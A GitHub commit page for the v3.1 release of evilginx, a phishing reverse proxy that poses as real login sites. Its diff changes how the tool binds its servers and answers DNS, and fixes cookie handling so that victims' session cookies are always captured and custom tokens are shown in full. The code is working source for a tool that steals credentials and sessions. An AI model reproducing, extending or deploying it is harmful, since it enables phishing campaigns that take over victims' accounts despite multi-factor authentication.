Skip to content

Commit

Permalink
v3.1 release
Browse files Browse the repository at this point in the history
  • Loading branch information
kgretzky committed Jul 11, 2023
1 parent 1ac3d10 commit a49523a
Show file tree
Hide file tree
Showing 6 changed files with 78 additions and 28 deletions.
5 changes: 5 additions & 0 deletions CHANGELOG
Original file line number Diff line number Diff line change
@@ -1,3 +1,8 @@
# 3.1.0
- Feature: Listening IP and external IP can now be separated with `config ipv4 bind <bind_ipv4_addr>` and `config ipv4 external <external_ipv4_addr>` to help with properly setting up networking.
- Fixed: Session cookies (cookies with no expiry date set) are now correctly captured every time. There is no need to specify `:always` key modifier for `auth_tokens` to capture them.
- Fixed: Captured custom tokens are now displayed properly and values are not truncated.

# 3.0.0
- Feature: TLS certificates from LetsEncrypt will now get automatically renewed.
- Feature: Automated retrieval and renewal of LetsEncrypt TLS certificates is now managed by `certmagic` library.
Expand Down
46 changes: 37 additions & 9 deletions core/config.go
Original file line number Diff line number Diff line change
Expand Up @@ -56,11 +56,13 @@ type CertificatesConfig struct {
}

type GeneralConfig struct {
Domain string `mapstructure:"domain" json:"domain" yaml:"domain"`
Ipv4 string `mapstructure:"ipv4" json:"ipv4" yaml:"ipv4"`
RedirectUrl string `mapstructure:"redirect_url" json:"redirect_url" yaml:"redirect_url"`
HttpsPort int `mapstructure:"https_port" json:"https_port" yaml:"https_port"`
DnsPort int `mapstructure:"dns_port" json:"dns_port" yaml:"dns_port"`
Domain string `mapstructure:"domain" json:"domain" yaml:"domain"`
OldIpv4 string `mapstructure:"ipv4" json:"ipv4" yaml:"ipv4"`
ExternalIpv4 string `mapstructure:"external_ipv4" json:"external_ipv4" yaml:"external_ipv4"`
BindIpv4 string `mapstructure:"bind_ipv4" json:"bind_ipv4" yaml:"bind_ipv4"`
RedirectUrl string `mapstructure:"redirect_url" json:"redirect_url" yaml:"redirect_url"`
HttpsPort int `mapstructure:"https_port" json:"https_port" yaml:"https_port"`
DnsPort int `mapstructure:"dns_port" json:"dns_port" yaml:"dns_port"`
}

type Config struct {
Expand Down Expand Up @@ -129,6 +131,13 @@ func NewConfig(cfg_dir string, path string) (*Config, error) {
c.cfg.UnmarshalKey(CFG_GENERAL, &c.general)
c.cfg.UnmarshalKey(CFG_BLACKLIST, &c.blacklistConfig)

if c.general.OldIpv4 != "" {
if c.general.ExternalIpv4 == "" {
c.SetServerExternalIP(c.general.OldIpv4)
}
c.SetServerIP("")
}

if !stringExists(c.blacklistConfig.Mode, BLACKLIST_MODES) {
c.SetBlacklistMode("unauth")
}
Expand Down Expand Up @@ -204,9 +213,24 @@ func (c *Config) SetBaseDomain(domain string) {
}

func (c *Config) SetServerIP(ip_addr string) {
c.general.Ipv4 = ip_addr
c.general.OldIpv4 = ip_addr
c.cfg.Set(CFG_GENERAL, c.general)
//log.Info("server IP set to: %s", ip_addr)
c.cfg.WriteConfig()
}

func (c *Config) SetServerExternalIP(ip_addr string) {
c.general.ExternalIpv4 = ip_addr
c.cfg.Set(CFG_GENERAL, c.general)
log.Info("server IP set to: %s", ip_addr)
log.Info("server external IP set to: %s", ip_addr)
c.cfg.WriteConfig()
}

func (c *Config) SetServerBindIP(ip_addr string) {
c.general.BindIpv4 = ip_addr
c.cfg.Set(CFG_GENERAL, c.general)
log.Info("server bind IP set to: %s", ip_addr)
log.Warning("you may need to restart evilginx for the changes to take effect")
c.cfg.WriteConfig()
}

Expand Down Expand Up @@ -653,8 +677,12 @@ func (c *Config) GetBaseDomain() string {
return c.general.Domain
}

func (c *Config) GetServerIP() string {
return c.general.Ipv4
func (c *Config) GetServerExternalIP() string {
return c.general.ExternalIpv4
}

func (c *Config) GetServerBindIP() string {
return c.general.BindIpv4
}

func (c *Config) GetHttpsPort() int {
Expand Down
4 changes: 2 additions & 2 deletions core/http_proxy.go
Original file line number Diff line number Diff line change
Expand Up @@ -786,7 +786,7 @@ func NewHttpProxy(hostname string, port int, cfg *Config, crt_db *CertDb, db *da
if at != nil {
s, ok := p.sessions[ps.SessionId]
if ok && (s.IsAuthUrl || !s.IsDone) {
if ck.Value != "" && (at.always || (!ck.Expires.IsZero() && time.Now().Before(ck.Expires))) { // cookies with empty values or expired cookies are of no interest to us
if ck.Value != "" && (at.always || ck.Expires.IsZero() || time.Now().Before(ck.Expires)) { // cookies with empty values or expired cookies are of no interest to us
log.Debug("session: %s: %s = %s", c_domain, ck.Name, ck.Value)
s.AddCookieAuthToken(c_domain, ck.Name, ck.Value, ck.Path, ck.HttpOnly, ck.Expires)
}
Expand All @@ -813,7 +813,7 @@ func NewHttpProxy(hostname string, port int, cfg *Config, crt_db *CertDb, db *da
if req_hostname == v.domain && v.path.MatchString(resp.Request.URL.Path) {
//log.Debug("RESPONSE body = %s", string(body))
token_re := v.search.FindStringSubmatch(string(body))
if token_re != nil {
if token_re != nil && len(token_re) >= 2 {
s.BodyTokens[k] = token_re[1]
}
}
Expand Down
8 changes: 4 additions & 4 deletions core/nameserver.go
Original file line number Diff line number Diff line change
Expand Up @@ -25,7 +25,7 @@ func NewNameserver(cfg *Config) (*Nameserver, error) {
o := &Nameserver{
serial: uint32(time.Now().Unix()),
cfg: cfg,
bind: fmt.Sprintf("%s:%d", cfg.GetServerIP(), cfg.GetDnsPort()),
bind: fmt.Sprintf("%s:%d", cfg.GetServerBindIP(), cfg.GetDnsPort()),
ctx: context.Background(),
}

Expand All @@ -51,7 +51,7 @@ func (o *Nameserver) handleRequest(w dns.ResponseWriter, r *dns.Msg) {
m := new(dns.Msg)
m.SetReply(r)

if o.cfg.general.Domain == "" || o.cfg.general.Ipv4 == "" {
if o.cfg.general.Domain == "" || o.cfg.general.ExternalIpv4 == "" {
return
}

Expand All @@ -74,10 +74,10 @@ func (o *Nameserver) handleRequest(w dns.ResponseWriter, r *dns.Msg) {
log.Debug("DNS SOA: " + fqdn)
m.Answer = append(m.Answer, soa)
case dns.TypeA:
log.Debug("DNS A: " + fqdn + " = " + o.cfg.general.Ipv4)
log.Debug("DNS A: " + fqdn + " = " + o.cfg.general.ExternalIpv4)
rr := &dns.A{
Hdr: dns.RR_Header{Name: fqdn, Rrtype: dns.TypeA, Class: dns.ClassINET, Ttl: 300},
A: net.ParseIP(o.cfg.general.Ipv4),
A: net.ParseIP(o.cfg.general.ExternalIpv4),
}
m.Answer = append(m.Answer, rr)
case dns.TypeNS:
Expand Down
41 changes: 29 additions & 12 deletions core/terminal.go
Original file line number Diff line number Diff line change
Expand Up @@ -181,8 +181,8 @@ func (t *Terminal) DoWork() {
func (t *Terminal) handleConfig(args []string) error {
pn := len(args)
if pn == 0 {
keys := []string{"domain", "ipv4", "https_port", "dns_port", "redirect_url"}
vals := []string{t.cfg.general.Domain, t.cfg.general.Ipv4, strconv.Itoa(t.cfg.general.HttpsPort), strconv.Itoa(t.cfg.general.DnsPort), t.cfg.general.RedirectUrl}
keys := []string{"domain", "external_ipv4", "bind_ipv4", "https_port", "dns_port", "redirect_url"}
vals := []string{t.cfg.general.Domain, t.cfg.general.ExternalIpv4, t.cfg.general.BindIpv4, strconv.Itoa(t.cfg.general.HttpsPort), strconv.Itoa(t.cfg.general.DnsPort), t.cfg.general.RedirectUrl}
log.Printf("\n%s\n", AsRows(keys, vals))
return nil
} else if pn == 2 {
Expand All @@ -193,7 +193,7 @@ func (t *Terminal) handleConfig(args []string) error {
t.manageCertificates(false)
return nil
case "ipv4":
t.cfg.SetServerIP(args[1])
t.cfg.SetServerExternalIP(args[1])
return nil
case "redirect_url":
if len(args[1]) > 0 {
Expand All @@ -205,6 +205,18 @@ func (t *Terminal) handleConfig(args []string) error {
t.cfg.SetRedirectUrl(args[1])
return nil
}
} else if pn == 3 {
switch args[0] {
case "ipv4":
switch args[1] {
case "external":
t.cfg.SetServerExternalIP(args[2])
return nil
case "bind":
t.cfg.SetServerBindIP(args[2])
return nil
}
}
}
return fmt.Errorf("invalid syntax: %s", args)
}
Expand Down Expand Up @@ -387,12 +399,15 @@ func (t *Terminal) handleSessions(args []string) error {
log.Printf("\n%s\n", AsRows(keys, vals))

if len(s.Custom) > 0 {
var ckeys []string = []string{"custom", "value"}
var cvals [][]string
tkeys := []string{}
tvals := []string{}

for k, v := range s.Custom {
cvals = append(cvals, []string{dgray.Sprint(k), cyan.Sprint(v)})
tkeys = append(tkeys, k)
tvals = append(tvals, cyan.Sprint(v))
}
log.Printf("%s\n", AsTable(ckeys, cvals))

log.Printf("[ %s ]\n%s\n", white.Sprint("custom"), AsRows(tkeys, tvals))
}

if len(s.CookieTokens) > 0 || len(s.BodyTokens) > 0 || len(s.HttpTokens) > 0 {
Expand Down Expand Up @@ -602,7 +617,7 @@ func (t *Terminal) handlePhishlets(args []string) error {
if n > 0 {
out += "\n"
}
out += t.cfg.GetServerIP() + " " + h
out += t.cfg.GetServerExternalIP() + " " + h
}
t.output("%s\n", out)
return nil
Expand Down Expand Up @@ -1009,10 +1024,12 @@ func (t *Terminal) handleLures(args []string) error {
func (t *Terminal) createHelp() {
h, _ := NewHelp()
h.AddCommand("config", "general", "manage general configuration", "Shows values of all configuration variables and allows to change them.", LAYER_TOP,
readline.PcItem("config", readline.PcItem("domain"), readline.PcItem("ipv4"), readline.PcItem("redirect_url")))
readline.PcItem("config", readline.PcItem("domain"), readline.PcItem("ipv4", readline.PcItem("external"), readline.PcItem("bind")), readline.PcItem("redirect_url"), readline.PcItem("wildcards")))
h.AddSubCommand("config", nil, "", "show all configuration variables")
h.AddSubCommand("config", []string{"domain"}, "domain <domain>", "set base domain for all phishlets (e.g. evilsite.com)")
h.AddSubCommand("config", []string{"ipv4"}, "ipv4 <ip_address>", "set ipv4 external address of the current server")
h.AddSubCommand("config", []string{"ipv4"}, "ipv4 <ipv4_address>", "set ipv4 external address of the current server")
h.AddSubCommand("config", []string{"ipv4", "external"}, "ipv4 external <ipv4_address>", "set ipv4 external address of the current server")
h.AddSubCommand("config", []string{"ipv4", "bind"}, "ipv4 bind <ipv4_address>", "set ipv4 bind address of the current server")
h.AddSubCommand("config", []string{"redirect_url"}, "redirect_url <url>", "change the url where all unauthorized requests will be redirected to (phishing urls will need to be regenerated)")

h.AddCommand("proxy", "general", "manage proxy configuration", "Configures proxy which will be used to proxy the connection to remote website", LAYER_TOP,
Expand Down Expand Up @@ -1144,8 +1161,8 @@ func (t *Terminal) checkStatus() {
if t.cfg.GetBaseDomain() == "" {
log.Warning("server domain not set! type: config domain <domain>")
}
if t.cfg.GetServerIP() == "" {
log.Warning("server ip not set! type: config ipv4 <ip_address>")
if t.cfg.GetServerExternalIP() == "" {
log.Warning("server external ip not set! type: config ipv4 external <external_ipv4_address>")
}
}

Expand Down
2 changes: 1 addition & 1 deletion main.go
Original file line number Diff line number Diff line change
Expand Up @@ -169,7 +169,7 @@ func main() {
return
}

hp, _ := core.NewHttpProxy("", cfg.GetHttpsPort(), cfg, crt_db, db, bl, *developer_mode)
hp, _ := core.NewHttpProxy(cfg.GetServerBindIP(), cfg.GetHttpsPort(), cfg, crt_db, db, bl, *developer_mode)
hp.Start()

t, err := core.NewTerminal(hp, cfg, crt_db, db, *developer_mode)
Expand Down

0 comments on commit a49523a

Please sign in to comment.